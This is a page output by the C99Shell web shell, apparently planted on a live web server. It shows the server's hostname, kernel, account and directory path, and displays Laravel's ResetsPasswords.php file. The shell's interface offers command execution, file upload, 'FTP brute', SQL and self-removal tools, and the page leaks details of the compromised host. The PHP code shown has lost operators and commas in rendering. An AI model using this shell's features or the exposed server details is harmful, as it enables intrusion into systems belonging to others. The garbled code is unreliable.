!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/ui/auth-backend/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResetsPasswords.php (5.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Auth;

use 
Illuminate\Auth\Events\PasswordReset;
use 
Illuminate\Http\JsonResponse;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Password;
use 
Illuminate\Support\Str;
use 
Illuminate\Validation\Rules;
use 
Illuminate\Validation\ValidationException;

trait 
ResetsPasswords
{
    use 
RedirectsUsers;

    
/**
     * Display the password reset view for the given token.
     *
     * If no token is present, display the link request form.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    
public function showResetForm(Request $request)
    {
        
$token $request->route()->parameter('token');

        return 
view('auth.passwords.reset')->with(
            [
'token' => $token'email' => $request->email]
        );
    }

    
/**
     * Reset the given user's password.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Http\JsonResponse
     */
    
public function reset(Request $request)
    {
        
$request->validate($this->rules(), $this->validationErrorMessages());

        
// Here we will attempt to reset the user's password. If it is successful we
        // will update the password on an actual user model and persist it to the
        // database. Otherwise we will parse the error and return the response.
        
$response $this->broker()->reset(
            
$this->credentials($request), function ($user$password) {
                
$this->resetPassword($user$password);
            }
        );

        
// If the password was successfully reset, we will redirect the user back to
        // the application's home authenticated view. If there is an error we can
        // redirect them back to where they came from with their error message.
        
return $response == Password::PASSWORD_RESET
                    
$this->sendResetResponse($request$response)
                    : 
$this->sendResetFailedResponse($request$response);
    }

    
/**
     * Get the password reset validation rules.
     *
     * @return array
     */
    
protected function rules()
    {
        return [
            
'token' => 'required',
            
'email' => 'required|email',
            
'password' => ['required''confirmed'Rules\Password::defaults()],
        ];
    }

    
/**
     * Get the password reset validation error messages.
     *
     * @return array
     */
    
protected function validationErrorMessages()
    {
        return [];
    }

    
/**
     * Get the password reset credentials from the request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return array
     */
    
protected function credentials(Request $request)
    {
        return 
$request->only(
            
'email''password''password_confirmation''token'
        
);
    }

    
/**
     * Reset the given user's password.
     *
     * @param  \Illuminate\Contracts\Auth\CanResetPassword  $user
     * @param  string  $password
     * @return void
     */
    
protected function resetPassword($user$password)
    {
        
$this->setUserPassword($user$password);

        
$user->setRememberToken(Str::random(60));

        
$user->save();

        
event(new PasswordReset($user));

        
$this->guard()->login($user);
    }

    
/**
     * Set the user's password.
     *
     * @param  \Illuminate\Contracts\Auth\CanResetPassword  $user
     * @param  string  $password
     * @return void
     */
    
protected function setUserPassword($user$password)
    {
        
$user->password Hash::make($password);
    }

    
/**
     * Get the response for a successful password reset.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  string  $response
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Http\JsonResponse
     */
    
protected function sendResetResponse(Request $request$response)
    {
        if (
$request->wantsJson()) {
            return new 
JsonResponse(['message' => trans($response)], 200);
        }

        return 
redirect($this->redirectPath())
                            ->
with('status'trans($response));
    }

    
/**
     * Get the response for a failed password reset.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  string  $response
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Http\JsonResponse
     */
    
protected function sendResetFailedResponse(Request $request$response)
    {
        if (
$request->wantsJson()) {
            throw 
ValidationException::withMessages([
                
'email' => [trans($response)],
            ]);
        }

        return 
redirect()->back()
                    ->
withInput($request->only('email'))
                    ->
withErrors(['email' => trans($response)]);
    }

    
/**
     * Get the broker to be used during password reset.
     *
     * @return \Illuminate\Contracts\Auth\PasswordBroker
     */
    
public function broker()
    {
        return 
Password::broker();
    }

    
/**
     * Get the guard to be used during password reset.
     *
     * @return \Illuminate\Contracts\Auth\StatefulGuard
     */
    
protected function guard()
    {
        return 
Auth::guard();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--